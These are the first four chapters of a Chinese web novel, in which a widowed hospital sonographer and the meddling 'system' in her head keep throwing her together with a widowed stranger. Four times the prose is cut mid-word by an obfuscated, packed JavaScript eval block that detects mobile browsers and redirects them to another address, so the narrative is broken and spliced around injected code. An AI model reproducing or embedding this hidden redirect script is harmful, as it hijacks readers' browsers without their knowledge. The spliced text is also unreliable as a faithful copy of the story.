《钓系女王永不空军!》 1. 001 今天是清明节,蒙蒙细雨中,曲江吟撑着一把黑伞,听着雨滴落在伞面的轻响,脑海里一直回荡着那句十分应景的诗:清明时节雨纷纷,路上行人欲断魂。 别人断没断魂,她不知道,反正她没断,即便此刻她就站在亡夫的墓碑前。 其实她也不是不伤心,只是伤心的程度远没有断了魂那么夸张。 凝视着墓碑上那张小小的遗像,她深深地叹了一口气。 事实证明,饭可以乱吃,话可不能乱说。 当年两人一起去民政局领结婚证时,安钧羽曾紧紧握住她的手,含情脉脉地说:“除了死亡,没什么能将咱俩分开。” 如今一语成谶。 “宿主快看!那边有个玉树临风的帅哥,还是个和你穿情侣款衣服的帅哥!”系统兴奋轻佻的声音犹如一阵狂风,将曲江吟心头的阴云吹得无影无踪。 曲江吟抬手捏了捏紧皱的眉头,熟练地在脑海里回应道:“allblack穿搭很常见,你能不能别这么大惊小怪?你没看到我正在上坟吗?让我看帅哥是几个意思?嫌我老公坟头不够绿吗?” 她当然不会觉得在亡夫坟前看帅哥算绿了他,只是被系统气到了。 换作以前,她肯定会化身祖安狂魔,不把系统喷个狗血淋头不罢休,不过经过这段时间的相处,她发现系统就是个不着调的二百五,跟傻子计较只会浪费时间。 系统死活没看出前面的坟墓哪儿绿了,于是它直接忽略掉最后那句话,委屈巴巴地回答了倒数第二个问题:“我看你这么伤心,想让你开心一下嘛,你不是最喜欢看帅哥了吗?” “啧!我还没说啥呢,你倒是先委屈上了。我跟你说过多少遍了,说话做事是要看场合的,你让我在丈夫坟前大大剌剌地盯着别的帅哥看,合适吗?” “你可以偷偷摸摸看啊,那人真的很帅!” 人在极度无语的情况下确实会笑,曲江吟揉了揉僵硬的嘴角,在心里翻了个大大的白眼。 “不看!系统呐,你可长点心吧!” 【正在为您搜索附近的点心店】 “有毒吧你!墓园哪来的点心店?” “嘿嘿~皮一下很开心!” 曲江吟做了好几次深呼吸,才勉强压下想把系统拖出来暴打一顿的心情。 “咦?那人朝这边走过来了。” 见曲江吟仍旧不为所动,系统悄悄使了个阴招,凭空变出一阵妖风,猛地将她手中的雨伞吹飞。 变故发生得太快,曲江吟完全没反应过来,下意识伸手去够伞,只抓到一缕转瞬即逝的风。 风裹挟着雨伞,在半空中妖娆地转了个圈儿,晃晃悠悠飘到男人身边落了下来。 那是个同样撑着黑伞的年轻男人,轮廓分明线条利落的面容如同女娲的毕设,衣架子般的身材能够完美驾驭所有挑人的衣服,一件简约至极平平无奇的黑色长款风衣,愣是被他穿出大牌定制的感觉。 看着被伞面沾湿的裤腿,他连眉头都没有皱一下,似乎是个情绪稳定的人,不会因为一点小事而发火。 他将抱在怀里的鲜花夹在另一侧腋下,伸出骨节分明的手,弯腰捡起脚边的雨伞,看向同样身着黑色风衣的曲江吟,见她呆呆的,似乎愣神了,便主动朝她走去。 曲江吟倒不是看帅哥看呆了,而是想起了安钧羽,他穿长款风衣也特别好看,恍惚间,记忆中的身影似乎与徐徐走来的男人重合了…… “你好,这是你的伞吧。” 清朗悦耳的嗓音仿佛轻盈的羽毛,在曲江吟的耳膜上一扫而过,酥酥麻麻的痒感顷刻间蔓延至全身。 曲江吟伸手接过雨伞,嘴上不断地道谢,心思却早已跑偏——我去!这声音,不去当AMSR博主可惜了! 把伞还给曲江吟后,男人没有离开,而是径直走向旁边的坟茔,将手中的白菊轻轻放下。 曲江吟瞄了一眼墓碑上的碑文——亡妻刘芷葶之墓。 没想到这人居然也丧偶了。 两人静静站在雨中,互不相识,互不干扰,却怀揣着同样的缅怀。 眼瞅着两个人都杵在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322419|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿跟个木头桩子似的,系统忍不住开口了:“宿主,我就没见过你这么不上道的人,好不容易遇见一个这么帅的男人,你起码问一下他的名字啊。” 曲江吟没好气地回怼道:“上什么道?歪门邪道吗?这里是墓园,又不是公园,我是来悼念丈夫的,他是来悼念妻子的。过了今天没准儿就再也碰不到了,我打听他的名字干嘛?” 系统知道她生气了,却不清楚她为什么生气,只能从她这番话里挑一个相对容易回答的问题来做出回应:“嗐,想再次遇到他又不难,你可以经常过来扫墓啊,只要他不打算给他老婆迁坟……” 面对如此离谱的发言,曲江吟可不会耐着性子听它说完,当即呛了回去:“经常过来扫墓?亏你想的出来!要扫你扫,我可没那么闲。我就不明白了,你不是枭雌系统吗?怎么突然抢起媒婆的饭碗了?” 回想起当初夸下的海口,脸皮比城墙还厚的系统,难得产生了一丝羞愧。 “呃……没法儿让你醒掌天下权,我只能盼着你早日醉卧美男膝了。” 这个理由勉强说得过去,曲江吟没再继续怼它,语气也比刚才柔和了不少:“行吧,不过,世界上又不是只有一个美男,你能不能不要表现得跟从来没见过帅哥似的?” 系统不了解从来没见过帅哥的表现是什么样子的,因此它以为这句话的重点是“世界上又不是只有一个美男”。 “行,没问题,包在我身上,我一定会努力搜罗其他美男的!”如果系统有实体,那它此刻必定是点头如捣蒜的样子。 尽管它再次搞错了重点,但曲江吟已经懒得理它了,因为雨越下越大了,她准备回去了。 都说丈母娘看女婿,越看越满意,系统不是丈母娘,胜似丈母娘,它思来想去,还是觉得难得碰到如此养眼的帅哥,宿主就这么错过实在是可惜了,于是它又暗戳戳地下了黑手。 曲江吟刚走了没几步,就听见身后传来重物倒地的声音,她下意识回头看了一眼,发现那位帅哥不知为何倒在了地上,似乎已经不省人事了。 2. 002 她火速冲到那人身旁,把碍事的雨伞丢到一边,用力拍打他的肩膀并大声呼喊,却发现他已经没有意识了,好在经过初步检查,她发现他还能自主呼吸,颈动脉也有搏动。 见她从兜里掏出手机,系统好奇地问了一句:“你掏手机干吗?” “这还用问吗?当然是打120呀。” “呃……你不打算把他带回家里吗?”系统有点儿懵,它故意把人弄晕就是希望宿主带他回去,没想到事情的发展完全不符合它的预期。 “你真是……算了,反正你记住喽,像这种莫名其妙昏迷不醒的人,应该尽快送往医院,而不是我家里,听明白了没?” “明白了。”系统失望极了,看来自己又白忙活了。 趁曲江吟还没有拨通120,它急忙唤醒地上的男人。 徐逸风缓缓睁开双眼,懵了一会儿才意识到自己刚才好像晕倒了。 雨水不但会浸湿衣服,还会大肆攫取体表的热量,在寒冷的刺激下,他满脑子只想着自己得赶紧起来。 见状,曲江吟迅速把手机塞回兜里,一边扶住他的肩膀,一边关切地问道:“你没摔到哪儿吧?身上疼不疼?” 徐逸风没觉得哪里疼,就是冷得不行,便摇了摇头说:“我没事,抱歉给你添麻烦了。” 他不用想也知道是曲江吟救了他,正准备开口道谢,却见她掏了掏风衣口袋,拿出一块巧克力,撕开包装袋,笑盈盈地递到他嘴边。 “我怀疑你低血糖了,正好我兜里有块巧克力,你赶紧吃了吧。” 他确实没吃早饭,可他的身体一直非常健康,以往忙到一整天都吃不上饭的时候,也不会出现这种情况,他不理解自己怎么突然就低血糖了。 不过眼下不是纠结这些的时候,道谢才是他的首要任务。 “谢谢……”他还没说完,嘴就被巧克力堵住了。 “别的事待会儿再说也不迟,先吃了它,不然你还得晕。” 等他乖乖叼住巧克力,曲江吟才收回攥着包装袋的手。 徐逸风将整块巧克力全部含进嘴里后,才忽然想到一个问题,他明明可以伸手接过来自己吃,为何会无比自然地就着她的手吃? 也许是因为寒冷麻痹了他的大脑吧…… 既然人已经没什么大碍了,曲江吟可不想继续淋雨,火速从不远处拾起自己的雨伞。 没人喜欢淋雨,徐逸风也开始寻找自己的雨伞,幸好风不算大,没把他的伞吹得太远。 然而就在他即将抓住伞柄的时候,不知从哪儿刮来一股大风,不仅掀翻了撑开的雨伞,还卷着它越飞越远。 徐逸风凝望着空中逐渐变小的黑点,整个人都快石化了,他这辈子从来没有如此狼狈过,怎么倒霉的事全让他赶上了? 没过几秒,漆黑的伞面出现在他头顶,隔绝了天上的雨水,也隔绝了心里的郁闷。 他回头一看,曲江吟近在咫尺,脸上挂着无奈的笑容,看他的眼神充斥着同情。 一想到自己狼狈无措的身影全被对方那双清凌凌的眼睛看见了,徐逸风就有些尴尬。 他先向对方道了谢,然后才想起自己直到现在都不知道对方到底是谁,连忙追问道:“方便告诉我你的名字吗?” “不用这么客气,我叫曲江吟,你呢?” “我叫徐逸风。” “对了,你怎么来的?” “开车过来的。” 曲江吟展颜一笑:“我也是,走吧,咱俩一起去停车场。” 明媚的笑容仿佛窃取了太阳的光芒,让徐逸风不敢把目光停留在她脸上。 飘忽不定的目光最终定格在一处黑白分明的地方。 曲江吟那只白皙细腻的手,看似将乌黑冰冷的伞柄握得牢牢的,不过,折叠伞的伞柄是一节一节的,结实程度远不如长柄伞,这种风一吹就会咔咔作响的东西,还是他来拿吧。 “我来撑伞吧。” 曲江吟没有拒绝他的好意,顺手把伞递到他手中。 徐逸风接过雨伞,将伞斜向曲江吟,随后轻轻转动伞柄,将末端有魔术贴的绑带转到离她头发远一点的位置。 雨淅淅沥沥地下着,轻击万物,演奏出没有节奏、音调不一却别有一番韵味的乐章,可惜唯有不受风雨侵袭的人,才有那份闲心去聆听。 墓园建在山上,修了许多石阶,平时就不好走,更别提下雨了。 两人深一脚浅一脚地行走在山道上,徐逸风注意到曲江吟穿着一双鞋跟比较高的短靴,担心她崴脚,想扶着她,又怕她觉得自己唐突,犹豫再三,终究是想扶她的念头占据了上风。 “路不太好走,需要我扶着你吗?” 曲江吟仰头看了看他,又低头瞅了瞅他抬起来的胳膊。 显然徐逸风的意思是让她把手搭上去以便借力,她却选了挽住手臂这种更方便互相借力的方式,然后抬头直视着他的眼睛,眉开眼笑地说:“不是你扶着我,是互相搀扶,你是我的拐杖,我也是你的拐杖。” “好。”徐逸风不得不借助低头垂眸的动作来掩饰眼底的羞赧。 这时,系统忽然用堪比老母亲看到自家女儿终于出人头地的欣慰语气说:“宿主,你实在是太争气了!我收回之前说你不上道的话,他被你挽住手臂后,心跳明显变快了。” 曲江吟已经被雨淋得没脾气了,自然没什么旖旎的心思,听了系统的话,也只是不咸不淡地回复道:“你能不能消停点儿?没看我正忙着赶路吗?” “哦,好的好的,我保证不会再打扰你们了。”系统明明没有实体,说话的时候却给人一种它正拍着胸脯的感觉。 徐逸风一路上都在思索该如何答谢曲江吟,抵达停车场之后才终于做出了决定。 “可以加个联系方式吗?我想请你吃饭。” 曲江吟唇角微扬,毫不扭捏地说:“联系方式可以加,吃饭就算了,想谢我,可以送我一面锦旗。” “锦旗?”徐逸风不明所以。 “我在医院上班,没什么比锦旗更适合用来感谢医务工作者的了。” 送锦旗这事儿就这么定了,两位当事人都没有意见,只有咸吃萝卜淡操心的系统有意见:“真是不解风情!送什么锦旗呀,救命之恩当然要以身相许啊!” 尽管徐逸风听不见系统的腹诽,曲江吟还是觉得异常尴尬,她咬牙切齿地在脑海里回应道:“少在我脑子里头叽叽歪歪!这么馊的主意你也好意思说出来?还有,我俩的伞被吹走是不是你搞的鬼?” 系统的语气顿时变得无比心虚:“我啥也没干啊,下雨天刮风很正常,你别疑神疑鬼的。” “你当我傻吗?当时那两阵风刮得那么奇怪,怎么可能是自然形成的?绝对是你干的好事,别想狡辩!” 这下,系统干脆装死不回应了,殊不知它这种态度在曲江吟眼里等同于默认。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322420|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可她深知系统冥顽不灵的德行,实在是懒得跟它掰扯了,于是换了副颓丧的语气说:“现在我只想回家洗个澡好好休息一下,你别再耍这些乱七八糟的花招了,算我求你了行不?” 吃软不吃硬的系统乖乖应下…… 回家的路上,曲江吟接了个电话,是她妈打来的。 最近这半年来,她妈每次给她打电话都是固定的套路,起:假模假样地关心她几句,承:装模作样地卖惨哭穷,转:拐弯抹角地打听安钧羽的抚恤金,骂:恼羞成怒破口大骂,想必这次也不例外。 不过曲江吟很累,不止身体累,心也累,湿漉漉的衣服又搞得她分外难受,所以她只想赶紧结束通话,没心思听她妈絮叨。 “吟吟啊,最近过得怎么样啊?” “还好,要是没人惦记我的钱会更好。” 此言一出,对面瞬间哑火,倒不是被她震慑住了,而是没想到她一上来就把话说得这么难听。 曲江吟不等她妈回复,便不耐烦地说:“你找我有事没?没事我先挂了。” “曲江吟!!!你怎么跟我说话呢?我是你妈!” 这句话她听了没一万遍,也有一千遍了,耳朵都快起茧子了。一个不负责任的妈,哪来的资格用妈的身份来拿乔? “嫌我说话难听,那就别打给我,正好我也不想听你啰嗦。” “我就没见过你这么狼心狗肺的东西!我想你了才给你打电话关心一下你,你这是什么态度?” 曲江吟嗤笑一声,阴阳道:“老家拆迁发拆迁款的时候想不起我,我老公的抚恤金下来了,你倒是立马想起我了。” 她妈气急之下,干脆不装了,扯着嗓子大声嚷嚷道:“你没孩子,花销少,又用不着那笔钱,先借给你哥应应急怎么了?等他付完首付,很快就会还你。” “今天是清明,别的钱没有,天地银行发行的钱管够,你去问问那只恨不得把父母妹妹吸成人干儿的吸血鬼要不要。” “你听听你说的是人话吗?那是你亲哥!你不帮他帮谁?连这点儿忙都不肯帮,养你还不如养条狗!” “得了吧,我可不是你们养大的,少给自己脸上添金!”曲江吟的语气十分不屑,眼里翻涌着明晃晃的讽意。 “死丫头片子,你是不是以为自己翅膀硬了,我拿你没辙了?做梦!我有的是办法治你!你不让我好过,你也别想好过!不信你走着瞧!” 光听声音,曲江吟都能想象出她妈那副色厉内荏歇斯底里的嘴脸。 骂不过就放狠话威胁,依旧是她妈的惯用套路,伤不到她,却能膈应到她,所以她的耐心彻底告罄。 “我还是那句话,实在不行你就去起诉我,法院判多少赡养费,我就给多少钱。你和你那个烂泥糊不上墙的废物儿子,休想从我手里多拿一个钢镚儿!” 说完,她毫不犹豫地挂断电话,把她妈的手机号码拉黑。 系统不敢打扰正在气头上的她,一直等到她彻底消气,才故意轻咳一声,用“只要你诚心诚意求我,我便大发慈悲帮你”的得瑟口吻说:“宿主,别伤心,你家里那点破事儿,我有办法帮你解决。” 曲江吟和系统相处了这么久,深知“系统靠得住,野猪会上树”的道理,因此她的第一反应是怀疑。 “真的吗?我不信,你那么爱显摆,如果真能轻易解决我的麻烦,肯定会早早解决,趾高气扬地向我邀功,哪会等到现在?” 3. 003 “哎,我也想低调啊,可实力不允许呀。”系统用最苦恼的语气说着最装逼的话。 曲江吟满心无语,抬手揉了揉额角,顺带把鬓发撩到耳后,毫不客气地吐槽道:“你可拉倒吧,编织袋都没你能装!我没工夫听你瞎扯,别磨叽了,赶紧说说你的办法吧。” 系统只好收起卖关子的心思,认真解释道:“我可以改变他们的认知,让他们无论做什么都想不起你,这样他们就不会再骚扰你了。怎么样?这个办法牛吧?” 曲江吟眉头微蹙,目露犹疑,她还是不太敢相信吊儿郎当的系统竟然有这么大的能耐。 “确实挺牛,你之前不说是因为没想到这个办法吗?” 系统答得很快:“不是,我很早就想出来了。” 说完它明显顿了一下才继续说道:“可他们离得太远,我的能量不够。” “能量不够?”曲江吟眉宇间的“川”字逐渐加深,“需要我给你充能吗?” “没错,只要你能占据一县之地,我就能获取足够的能量。” 刚刚涌上心头的希望眨眼间烟消云散。曲江吟实在没忍住,直接翻了个大大的白眼。 “占据一县之地?我称霸小区都费劲!你可真是异想天开。” 此言一出,系统的关注点立马跑偏:“称霸小区应该不算难吧?” 曲江吟无语至极,脸上的表情一言难尽。 “把犄角旮旯当小便池的大爷,看到禁烟标志就犯烟瘾的大叔,仿佛尖叫鸡成精的熊孩子,牵着邪恶摇粒绒的暴躁老奶,有这些凶名在外的拦路虎在,我哪敢造次?” “哦,”系统呆呆地应了一声,随后话音一转:“没关系,反正你的任务不是称霸小区,而是占据一县之地。” 系统说得云淡风轻,曲江吟听得脑仁生疼,没想到她也有被人噎得说不出话来的一天。 过了好久她才找回自己的理智,反问道:“我连称霸小区都做不到,怎么去占领一个县?” “你可以去竞选县长啊,成为一县之长也算完成任务。” 曲江吟再度语塞,最终冷笑一声,不再搭理系统…… 清明假期结束后没几天,徐逸风便带着锦旗如约而至,不过那天曲江吟特别忙,和他简单聊了几句便回去工作了。 曲江吟是彩超医师,前段时间刚升主治,一直在体检科工作,每次有大型单位组织员工体检,她都会忙得飞起。 临近十二点,送走最后一位体检的人,她总算可以休息一下了。 她从桌上拿起水杯,咕咚咕咚牛饮几口,一大杯水很快就见底了。忙了一上午,连着三四个小时滴水未进,还得不断回答体检者的问题,她的嗓子都快冒烟儿了。 喝完,她长舒一口气,听到负责在电脑上书写彩超报告的张青果说:“吟姐,听说今天有个超级大帅哥给你送锦旗了?” 曲江吟点了点头:“嗯,他忽然晕倒了,我帮了他一把。” 张青果一边活动因久坐而僵硬的筋骨,一边开玩笑说:“怎么没有帅哥晕倒在我面前呢?我CPR练得可好了!保准把他们救过来!” 曲江吟被她逗得笑出了声,打趣她的话已经斟酌完毕,即将脱口而出,却被傻不愣登的系统打了岔:“CPR是啥?” 曲江吟的笑容凝固了一瞬,很快便恢复正常。 她先用揶揄的语气问了张青果一句“救人还卡颜吗”,然后才在脑内回复了系统,“你不是能联网吗?自己上网搜一搜不就行了?” “救人不能卡,揩油必须卡!” 说前一句时,张青果一脸坚定,就差把“医者仁心”写在脸上了,说后一句时,她的神色愈发坚定,仿佛她说的不是低俗的荤话,而是郑重的誓言。 “明明一看见帅哥就脸红,还敢吹自己会揩油,有色心没色胆,说的就是你。” 张青果装作伤心的样子,做作地捂住心口,油腔滑调地说:“哎,没办法占到帅哥的便宜,只能嘴上说说,过过嘴瘾了。” “那祝你早日占到帅哥的便宜,”曲江吟轻轻拍了拍她的肩膀,“肚子都快饿扁了,走吧,去食堂干饭!” 系统趁她俩聊天的工夫,上网搜了一下CPR。刚开始它只是想满足自己的好奇心,看完演示视频后,它忽然想到一个绝妙的主意。 它要让曲江吟和徐逸风同时梦到她为他做CPR的画面! 虽然以它目前的等级,根本无法操控人类的梦境,但它可以通过施加心理暗示的方式,诱导睡着的人梦到特定的内容,前提是那人不能离它太远。 好在徐逸风完全符合要求…… 夜幕在系统的期待中逐渐降临。 晚上十二点,系统检测到两人陷入沉睡后,开始神不知鬼不觉地实施自己的计划。 曲江吟梦到自己身处一个空旷的房间,地上横躺着一个假人,准确的来说,是心肺复苏模拟人。 她没怎么犹豫便按照早已牢记于心的步骤开始练习,前面几步比较简单,她很快就完成了。 到了胸外按压这一步,她刚把交叠的双手按在假人胸骨下三分之一交界处,面前的假人就突兀地变成了徐逸风! 梦不受逻辑的约束,梦里的她也不被思维禁锢。 她注视着双目紧闭面色惨白的徐逸风,丝毫没觉得奇怪,继续一丝不苟地操作。 快速按压完三十次后,她又捏住他高挺的鼻子,掰住他瘦削的下巴,心无旁骛地给他做了两次人工呼吸。 三十次胸外按压,两次人工呼吸,循环五次,她就像个呆板的CPR机器,一会儿是按压模式,一会儿是吹气模式。 心肺复苏操作完毕,曲江吟开始检查徐逸风的身体情况,发现他依旧面色惨白嘴唇紫绀,既没有心跳,也没有呼吸。 这时,周遭的场景如同被大火烧过一般,顷刻间化为灰烬,这些灰烬又飞速凝聚出新的场景。 与此同时,曲江吟眼睁睁地看着徐逸风的脸褪去颜色,越变越小,最后化作一张黑白照片镶嵌在一座熟悉的墓碑上。 这座墓碑原本只有一行碑文——亡妻刘芷葶之墓,现在却逐渐浮现出另一行碑文——亡夫徐逸风之墓。 曲江吟环顾四周,发现自己身处墓园,天上阴云密布,地上纸钱纷飞。 旁边是安钧羽的坟墓,他的墓碑变化更大,碑体通体漆黑,碑文猩红如血,遗像不翼而飞。 虽然人们很难在梦中拥有真切的五感,但这并不妨碍他们从梦里感受到分毫不减的恐惧。 面对如此诡异的情形,曲江吟没来由地感到一阵恐慌,她正打算离开,飘荡在空中的纸钱忽然一股脑地扑向她。 混乱之中,一双没有温度的手猛地抓住她,将她拽入一个冰冷的怀抱。 “江吟,我好想你……” 曲江吟明显是被吓醒的,系统有些纳闷,按理说,她应该做了个好梦啊,可谁做了好梦会被吓醒?莫非她做了噩梦?给徐逸风做心肺复苏怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322421|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会变成噩梦? 反正曲江吟已经醒了,跟她说话也不用担心会影响她休息,它干脆开口问道:“你是不是做噩梦了?” “嗯,梦到鬼了,”她翻了个身,蜷缩在温暖的被窝里,“现在几点了?” “四点四十五。” “这么早!难怪外头那么黑,我再睡会儿,六点半你再叫我。”自从绑定了系统,她就再也没有定过闹钟。 系统很想问她为什么会梦到鬼,但现在显然不是问话的好时机,看来只能之后再问了。 另一边,徐逸风也做梦了。 他的梦没有任何铺垫,上来就是曲江吟给他做CPR的场面。 不过,前半截梦是上帝视角,他的感受称不上美好,因为站在上帝视角目睹他人奋力抢救自己,像极了濒死之际灵魂已然出窍的状态。 后半截梦倒是变成第一视角了,但梦的内容是他为了报答曲江吟的救命之恩,决定亲手绣一面锦旗送给她,然后他就一直绣,绣呀绣,绣呀绣,绣呀绣…… 直到闹钟响起…… 周二,风和日丽,碧空如洗,是个适合爬山的日子。 海拔一千三百多米的翠薇山,不算巍峨,更称不上险峻,但胜在风景秀丽一步一景,无论怎么拍都美不胜收,特别出片,因此成了N市的知名景点。 曲江吟拄着登山杖,哼着轻快的歌谣,不疾不徐地行走在蜿蜒曲折的山道上。 今天是工作日,山上的游客比周末和节假日要少得多。 普通打工人什么时候休息取决于日历,医务工作者什么时候休息取决于排班表。今天是普通打工人的工作日,却是曲江吟的休息日,所以她才有时间出来游玩。 赏景需要一双发现美的眼睛,系统只有发现美男的“眼睛”。扫了几圈暂时没发现帅哥,它倍感无聊,忍不住嘟囔道:“我看着这些望不到尽头的台阶都觉得累,宿主你不累吗?” “还好,小小翠薇山还累不倒我。” “你经常抱怨上班很累,是上班更累,还是爬山更累呢?” 曲江吟不再哼歌,脚步也停了下来。 “怎么说呢?上班和爬山各有各的累,上班是心累,爬山是身体累,没法儿放在一起比较哪个更累。” “既然上班这么累,你又喜欢游山玩水,干脆辞掉工作去环游世界吧。” 听到“环游世界”这个词,曲江吟又想起安钧羽了,他的梦想就是环游世界,不过,他已经去世了,他的梦想也该随风而逝了。 她的眼神随着思绪的飘散而显得有些空洞,手中的登山杖有一下没一下地轻戳着地面。 “我比较宅,偶尔出去旅游放松一下还行,环游世界这种费时费力还贼费钱的事,不适合我。” 系统再次发挥它独特的抓重点能力,反问道:“争霸天下的事泡汤了,我发给你的启动资金不是还在吗?你还用得着担心钱的问题?” 说起这个她就来气,当即反驳道:“那不叫启动资金,那叫文物!马蹄金出现在博物馆里正常,出现在我手里不正常!” “嗐,多大点儿事儿啊,你可以融了再用啊。” “你说得倒轻巧,我上哪儿融去?怕不是前脚融了,后脚就得被抓进去踩缝纫机!” 系统正准备建议她去找一找不那么正规的渠道,却陡然被不远处发生的事吸引了注意。 “等会儿!我看到徐逸风了,他被猴子抢了,你快去英雌救帅呀!!!” 4. 004 “哪儿呢?我咋没看到呢?”她东瞅瞅西瞧瞧,满脸焦急,却连个鬼影都没找着。 见她如此上心,系统反倒不着急了,语气比刚才淡定多了:“不在这儿,你往回走,拐过弯儿就能看见他了。” 曲江吟顺着系统的指引,快步来到事发地,果不其然看到了正在和猕猴拔河的徐逸风。 双方拽的自然不是绳子,而是一个黑色的双肩背包。 围攻他的猕猴一共三只,分工明确,气焰嚣张。两只体型较大的猕猴正死命拉扯背包,还不停地龇牙咧嘴,发出尖锐的啸叫声来恫吓他。另一只体型偏小的猕猴则游走在外围,时不时就会窜出来偷袭他。 其实他的反应能力还可以,这点从那只负责偷袭的猕猴始终没有得手就能看得出来。 要不是必须分神提防那只动不动就从背后搞偷袭的猕猴,他早把自己的背包夺回来了。 眼瞅着那只阴险的猕猴又要偷袭,曲江吟二话不说,挥舞着登山杖就冲了过去。 一看到气势汹汹把登山杖舞得虎虎生风的曲江吟,那两只大猕猴立刻怂了,火速松开抓住背包的爪子,怪叫着跃下栏杆,分头逃跑。那只小一点的猕猴见势不妙,也迅速后退,几个纵跃便消失在茂密的丛林之中。 曲江吟来过翠薇山好多回了,见过管理员用棍子驱赶猕猴的场面,知道这里的猕猴不怕人,只怕手持棍棒的人,所以才敢第一时间冲上去帮忙。 “你没事吧?” 徐逸风等自己急促的呼吸平静下来才摇了摇头说:“没事儿,就是被抢了两瓶水,还有一副墨镜。” 然而,话音里掺杂着一丝他自己都未曾察觉的委屈。 他怎么也没想到两人再次见面居然是这样的情形,更想不到自己还能亲身经历“英雄救美”的桥段,只不过他是不堪欺凌的弱男子,曲江吟才是路见不平拔棍相助的大侠。 一想到自己给对方留下的印象不是低血糖晕倒的男人,就是被猴子欺负的男人,他就尴尬得要命,以至于没能及时发现心底的委屈躲在平淡的话语里偷偷跑了出来。 还好曲江吟不是个心细如发的人,没觉得他的语气有什么异常。 她打量着面前俊脸微红眼神躲闪的男人,满脑子只想着这家伙还蛮可爱的。 虽然徐逸风这副尴尬得手脚都不知道该怎么放的样子特别可爱,但她很清楚没人愿意一直体验尴尬的滋味儿,于是她果断换了个话题:“你总共带了几瓶水?” “两瓶,我不该把它们装在外面的。”徐逸风扯了扯背包侧边敞口的网兜,一脸懊悔。 曲江吟把自己的背包挪到胸前,拉开拉链,从里面取出一瓶未开封的矿泉水,递给徐逸风。 “喏,给你。” 徐逸风连忙摆了摆手:“不用了,山顶有卖水的地方,我到那儿再买。” 曲江吟直接抓住他的手腕,以不容拒绝的姿态将矿泉水塞进他手中。 “拿着吧,别跟我客气,从这儿爬到山顶少说都得一个多小时,这么长的山路,消耗很大的,你一口水也不喝,就等着嗓子冒烟儿吧。” “我喝了你的水,你喝什么?”徐逸风很想把水还回去,又不好意思抓她的手,只能盯着她纤细洁白的手腕发愣。 曲江吟特意掰开背包给他看了一眼,清澈的眼神让她得意的笑容看起来不仅不油腻,还为她平添了几分亲切的气质。 随后她用明显带有哄人意味儿的口吻说:“我包里还有一瓶,你放心好了,我可不会渴着自己。” 徐逸风拗不过她,只好妥协:“实在是太感谢你了,帮了我这么多次,我都不知道该怎么报答你才好。” 尽管他的语气无比真挚,但他的话让两人之间的氛围变得稍微严肃了一点。 曲江吟不是挟恩图报的人,也不希望他总是纠结如何报答自己的事,便随口回了一句:“举手之劳,何足挂齿。” 徐逸风却面色肃然一本正经地说:“你的举手之劳,不但救过我的命,还帮我脱离了险境,我当然得好好报答你。” 见他如此执着,曲江吟反倒起了逗弄他的心思。 “你看过小说吗?”岔开话题对她来说就像吃饭喝水一样简单。 “看过一些,怎么了?”徐逸风被她问懵了。 “没事儿,就是想问一问你,小说里的救命之恩大多是怎么报答的?” “以身相……”话还没说完,徐逸风便感觉到一股不知从哪儿冒出来的热意直冲脑门,烫得他两颊绯红,心若擂鼓。 凝视着自己的“杰作”,曲江吟满意极了,果然,面红耳赤的他比刚才那副一板一眼的模样可爱多了。 不过,满足了自己的恶趣味后,她立马给了他台阶下:“开个玩笑而已,瞧把你吓的!” 那股灼人的热意总算是消失了,徐逸风却觉得自己的脸更烫了,他明明不是容易害羞的人,却几次三番因她而脸红。 其实他知道曲江吟八成是在跟他开玩笑,可不知为何,听到她亲口承认这只是个玩笑时,他并没有如释重负的感觉,反而感到了一丝失望。 “对了,你是不是第一次来翠薇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322422|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山?” 其实明眼人都能看出他是第一次来,还是一个人来的,但碍于两人目前不算太熟的关系,明知故问的客套话还是少不了的。 “是的,我在N市住了许多年,一直没来过这里,这次过来也是临时起意,想独自爬山放松一下,来之前连攻略也没做,结果差点儿被猴子洗劫。”说到最后一句时,他唇角微弯,露出一抹无奈又苦涩的笑容。 